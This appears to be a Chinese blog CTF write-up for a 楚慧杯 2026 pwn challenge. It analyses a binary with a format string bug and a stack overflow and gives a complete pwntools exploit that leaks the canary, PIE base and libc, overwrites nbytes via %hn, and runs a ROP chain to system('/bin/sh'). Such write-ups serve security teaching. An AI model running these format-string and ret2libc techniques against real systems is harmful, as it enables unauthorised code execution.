跳到主要内容
  1. Posts/

楚慧杯 2026 | Pwn

·2 分钟·

格式化字符串漏洞 + 栈溢出。其中较难的点,利用格式化字符串修改内存为一个较大的值

查看保护 #

[*] '/home/ash/chuhuibei/pwn'                                                                          
    Arch:       amd64-64-little                                                                        
    RELRO:      Full RELRO                                                                             
    Stack:      Canary found                                                                           
    NX:         NX enabled                                                                             
    PIE:        PIE enabled                                                                            
    SHSTK:      Enabled                                                                                
    IBT:        Enabled 

开启了Canary 和 PIE保护,需要我们在调试的过程中找到程序基址

源码分析 #

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int n4; // [rsp+Ch] [rbp-14h] BYREF
  const char *v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v4 = 0LL;
  sub_1229();
  while ( 1 )
  {
    while ( 1 )
    {
      sub_1270();
      __isoc99_scanf("%d", &n4);
      if ( n4 != 4 )
        break;
      printf_(v4);
    }
    if ( n4 > 4 )
      break;
    switch ( n4 )
    {
      case 3:
        v4 = sub_12E5();
        break;
      case 1:
        sub_133E();
        break;
      case 2:
        sub_135E();
        break;
      default:
        goto LABEL_12;
    }
  }
LABEL_12:
  puts("wrong!");
  exit(0);
}

格式化字符串漏洞

unsigned __int64 sub_135E()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please write your name:");
  read(0, buf, 0x30uLL);
  puts("the name is:");
  printf(buf);
  return __readfsqword(0x28u) ^ v2;
}

栈溢出

_BYTE *sub_12E5()
{
  _BYTE buf[72]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v2; // [rsp+48h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please write your content");
  read(0, buf, nbytes); // 此时nbytes的值为0x20,利用fmt将值改为0x100即可有栈溢出漏洞
  return buf;
}

.data:0000000000004010 ; size_t nbytes
.data:0000000000004010 nbytes          dq 20h                  ; DATA XREF: sub_12E5+27r
.data:0000000000004010 _data           ends
.data:0000000000004010

分析调试 #

泄露canary , 程序基址 , Libc

image-20260313213056928

image-20260313213202854

修改nbytes的值

image-20260313213453673

我们想将nbytes处的值从0x20修改为0x100,我们只需要修改最后两个字节,即,只需要使用%256c%N$hn即可,所以我们需要确定此时N的值。

通过下面的测试可以得出:N = 8

image-20260313213405144

可以看到

修改之前

image-20260313214027680

修改之后

image-20260313214127094

Exp #

from pwn import *                                                                                      
context(log_level = "debug", arch = "amd64")                                                           

# io = gdb.debug("./pwn")                                                                              
io = process("./pwn")                                                                                  
elf = ELF("./pwn")                                                                                     
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")       

io.recvuntil(b">> ")                                                                                   
io.sendline(b"1")                                                                                      
io.recvuntil(b">> ")                                                                                   
io.sendline(b"2")                                                                                      
io.recvuntil(b"Please write your name:\n")                                                             
payload = b"%13$p-%15$p-%21$p-"                                                                        
io.send(payload)                                                                                       
io.recvuntil(b"the name is:\n")                                                                        
line = io.recvuntil(b"1. add a house\n").strip()        
print(line)                                                                                            
a1, a2, a3, a4= line.split(b"-")                                                                       
canary  = int(a1, 16)                                                                                  
base_addr = int(a2, 16) - 0x147c                                                                       
libc_base = int(a3, 16) - 0x29d90                                                                      
log.info(f"canary = {hex(canary)}")                                                                    
log.info(f"base_addr = {hex(base_addr)}")                                                              
log.info(f"libc_base = {hex(libc_base)}")                                                              

pop_rdi = 0x0000000000001503 + base_addr                                                               
pop_rsi_r15 = 0x0000000000001501 + base_addr                                                           
pop_rbp = 0x0000000000001213 + base_addr                                                               
ret_addr = 0x000000000000101a + base_addr                                                              

system_addr = libc_base + libc.sym["system"]                                                           
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))                                                 
log.info(f"System address: {hex(system_addr)}")  
log.info(f"/bin/sh address: {hex(binsh_addr)}") 

nbytes_addr = base_addr + 0x4010                                                                       
io.sendline(str(2).encode())                                                                           

payload = b"%256c%8$hnaaaaaa" + p64(nbytes_addr)                                                       
io.recvuntil(b"Please write your name:\n")                                                             
io.send(payload)                                                                                       

#io.recv()                                                                                             

payload = b"\x00" * (72) + p64(canary) + b"\x00" * 8 + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) +
 p64(system_addr)                                                                                      

#pause()                                                                                               
io.recvuntil(b">> ")                                                                                   
#pause()                                                                                               

io.sendline(str(3).encode())                                                                           
io.recvuntil(b"Please write your content\n")                                                           
# pause()                                                                                              
io.send(payload)                                                                                       
io.interactive()

image-20260313214232195

参考阅读:

【1】格式化字符串详解 https://xz.aliyun.com/news/12158

【2】格式化字符串学习 https://blog.csdn.net/rfrder/article/details/122545097

【3】格式化字符串漏洞利用 https://blog.wjhwjhn.com/posts/af55bf3/#printf-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%8F%82%E6%95%B0%E7%94%A8%E6%B3%95

题目链接:https://github.com/Kashyz/pwn#

Kashyz
作者
Kashyz
不驰于空想,不骛于虚声